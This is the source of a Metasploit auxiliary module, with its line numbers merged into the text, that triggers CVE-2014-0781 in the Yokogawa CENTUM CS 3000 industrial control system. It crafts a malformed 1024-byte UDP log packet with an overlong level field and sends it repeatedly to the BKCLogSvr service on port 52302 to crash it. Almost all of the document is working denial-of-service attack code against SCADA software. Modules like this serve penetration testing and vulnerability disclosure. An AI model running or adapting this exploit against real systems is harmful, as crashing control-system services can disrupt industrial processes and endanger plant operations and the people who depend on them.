Path: blob/master/modules/auxiliary/dos/scada/yokogawa_logsvr.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow',14'Description' => %q{15This module abuses a buffer overflow vulnerability to trigger a Denial of Service16of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability17exists in the handling of malformed log packets, with an unexpected long level field.18The root cause of the vulnerability is a combination of usage of uninitialized memory19from the stack and a dangerous string copy. This module has been tested successfully20on Yokogawa CENTUM CS 3000 R3.08.50.21},22'Author' => [23'juan vazquez',24'Redsadic <julian.vilas[at]gmail.com>'25],26'References' => [27[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],28[ 'URL', 'https://web.archive.org/web/20221209030848/https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/' ],29[ 'CVE', '2014-0781']30],31'DisclosureDate' => '2014-03-10',32'Notes' => {33'Stability' => [CRASH_SERVICE_DOWN],34'SideEffects' => [],35'Reliability' => []36}37)38)3940register_options(41[42Opt::RPORT(52302),43OptInt.new('RLIMIT', [true, 'Number of packets to send', 10])44]45)46end4748def run49if datastore['RLIMIT'] < 250print_error('Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.')51return52end5354# Crash due to read bad memory55test = [1024].pack('V') # packet length56test << 'AAAA' # Unknown57test << "SOURCE\x00\x00" # Source58test << "\x00" * 8 # Padding59test << 'B' * (1024 - test.length) # Level & Message coalesced6061connect_udp6263# Sending two consecutives packages is enough to64# trigger the overflow and cause the DoS. But if65# legit packets are processed by the server, between66# the two malformed packages, overflow won't happen.67# Unfortunately because of the usage of UDP and the68# absence of answer, there isn't a reliable way to69# check if the DoS condition has been triggered.70print_status("Sending #{datastore['RLIMIT']} packets...")71(1..datastore['RLIMIT']).each do |i|72vprint_status("Sending #{i}/#{datastore['RLIMIT']}...")73udp_sock.put(test)74end7576disconnect_udp77end78end798081